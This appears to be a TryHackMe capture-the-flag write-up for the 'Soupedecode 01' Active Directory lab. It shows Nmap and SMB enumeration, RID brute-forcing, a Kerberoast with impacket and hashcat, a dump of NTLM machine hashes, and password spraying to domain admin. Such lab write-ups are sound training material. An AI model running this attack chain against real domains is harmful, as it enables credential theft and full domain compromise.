SOUPEDECODE 01 - TRYHACKME

I started with a Nmap scan, which revealed multiple services typical of an Active Directory environment, including DNS (53), **Kerberos** (88, 464), **SMB** (445), **LDAP** (389, 636), Global Catalog services (3268, 3269), and MSRPC/NetBIOS (135, 139). Additional services such as Remote Desktop Protocol (3389), Active Directory Web Services (9389)

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/mnt/.../scr34tur3.bak/HTB-THM-labs_reports/Tryhackme/Soupedecode01
                       min-rate 1000 -A 10.10.224.26
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 11:36 EAT
Nmap scan report for 10.10.224.26
Host is up (0.15s latency).
Not shown: 65518 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
         STATE SERVICE
PORT
                              VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-20 08:39:26Z)
                              Microsoft Windows RPC
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
                             Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http
                               Microsoft Windows RPC over HTTP 1.0
636/tcp open
                tcpwrapped
3268/tcp open ldap
                               Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
 rdp-ntlm-info:
    Target_Name: SOUPEDECODE
   NetBIOS_Domain_Name: SOUPEDECODE
   NetBIOS_Computer_Name: DC01
   DNS Domain Name: SOUPEDECODE.LOCAL
   DNS_Computer_Name: DC01.SOUPEDECODE.LOCAL
   Product Version: 10.0.20348
   System_Time: 2025-10-20T08:40:22+00:00
ssl-cert: Subject: commonName=DC01.SOUPEDECODE.LOCAL
 Not valid before: 2025-06-17T21:35:42
Not valid after: 2025-12-17T21:35:42
 _ssl-date: 2025-10-20T08:41:01+00:00; -1s from scanner time.
                              .NET Message Framing
9389/tcp open mc-nmf
49664/tcp open msrpc
                               Microsoft Windows RPC
49669/tcp open msrpc
                              Microsoft Windows RPC
49675/tcp open ncacn_http
                              Microsoft Windows RPC over HTTP 1.0
49717/tcp open msrpc
                              Microsoft Windows RPC
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I had access to smb as guest where I was able to enumerate shares

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#https://www.hackingarticles.in/as-rep-roasting/

#https://www.hackingarticles.in/ad-recon-kerberos-username-bruteforce/

RID-based enumeration

To further enumerate domain users, I performed a RID brute-force, since the IPC\$ share is readable.

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Bruteforcing for valid accounts, I found one ybob317

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Share Enumeration with this account.

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te Kali)-[/mnt/_/scr34tur3.bak/HTB-THM-labs_reports/Tryhackme/Soupedecode01]
smb 10.10.224.26 -u ybob317 -p ybob317 --shares
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                                                                         [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
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I connected to the Users shares since user ybob317 had read permission on this share.

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]-[/mnt/.../scr34tur3.bak/HTB-THM-labs_reports/Tryhackme/Soupedecode01]
   smbclient \\\10.10.224.26\\Users -U ybob317
Password for [WORKGROUP\ybob317]:
Try "help" to get a list of possible commands.
smb: \> ls
                                              0 Fri Jul 5 01:48:22 2024
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  admin
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  Administrator
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                                              0 Mon Oct 20 11:46:03 2025
  All Users
                                 DHSrn
                                              0 Sat May 8 11:26:16 2021
  Default
                                   DHR
                                              0 Sun Jun 16 05:51:08 2024
  Default User
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                                             0 Sat May 8 11:26:16 2021
                                            174 Sat May 8 11:14:03 2021
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                                              0 Mon Jun 17 20:24:32 2024
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smb: \>
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USER FLAG

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lsmb: \ybob317\desktop\> ls
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smb: \ybob317\desktop\> get user.txt
getting file \ybob317\desktop\user.txt of size 33 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \ybob317\desktop\> cd ..
smb: \ybob317\>
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              )-[/mnt/.../scr34tur3.bak/HTB-THM-labs_reports/Tryhackme/Soupedecode01]
   cat user.txt
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             i)-[/mnt/../scr34tur3.bak/HTB-THM-labs_reports/Tryhackme/Soupedecode01]
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Kerberoast Attack

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root@Kali)-[/mnt/.../scr34tur3.bak/HTB-THM-labs_reports/Tryhackme/Soupedecode01]
impacket-GetUserSPNs soupedecode.local/ybob317:ybob317 -dc-ip 10.10.224.26 -request -output hashes
Impacket v0.13.0.dev0+20250401.172759.352695f1 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name
                                             MemberOf PasswordLastSet
                                                                                         LastLogon Delegation
FTP/FileServer
                           file_svc
                                                         2024-06-17 20:32:23.726085 <never>
FW/ProxyServer firewall_svc
HTTP/BackupServer backup_svc
HTTP/WebServer web.svc
                                                         2024-06-17 20:28:32.710125 <never>
                                                         2024-06-17 20:28:49.476511 <never>
HTTP/WebServer
                           web_svc
                                                         2024-06-17 20:29:04.569417 <never>
HTTPS/MonitoringServer monitoring_svc
                                                         2024-06-17 20:29:18.511871 <never>
[-] CCache file is not found. Skipping...
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Cracked hash using hashcat → file_svc:Password123!!

We have read permission on backup shares.

The backup share had backed up account credentials.

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[/mnt/.../scr34tur3.bak/HTB-THM-labs_reports/Tryhackme/Soupedecode01]
Password for [WORKGROUP\file_svc]:
Try "help" to get a list of possible commands.
smb: \> ls
                                               0 Mon Jun 17 20:41:17 2024
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                                             892 Mon Jun 17 11:41:05 2024
  backup_extract.txt
                12942591 blocks of size 4096. 10809914 blocks available
smb: \> get backup_extract.txt
getting file \backup_extract.txt of size 892 as backup_extract.txt (1.4 KiloBytes/sec) (average 1.4 KiloBytes/sec)
smb: \> exit
             i)-[/mnt/.../scr34tur3.bak/HTB-THM-labs_reports/Tryhackme/Soupedecode01]
   cat backup_extract.txt
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def<u>136b3bfab7b0b4e70e3:::</u>
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
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Password Spraying

Sprayed the passwords and found one active account, which turned out to be/have domain admin privileges.

This confirms this domain admin

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ROOT FLAG

I accessed the machine viar RDP and got the root flag.

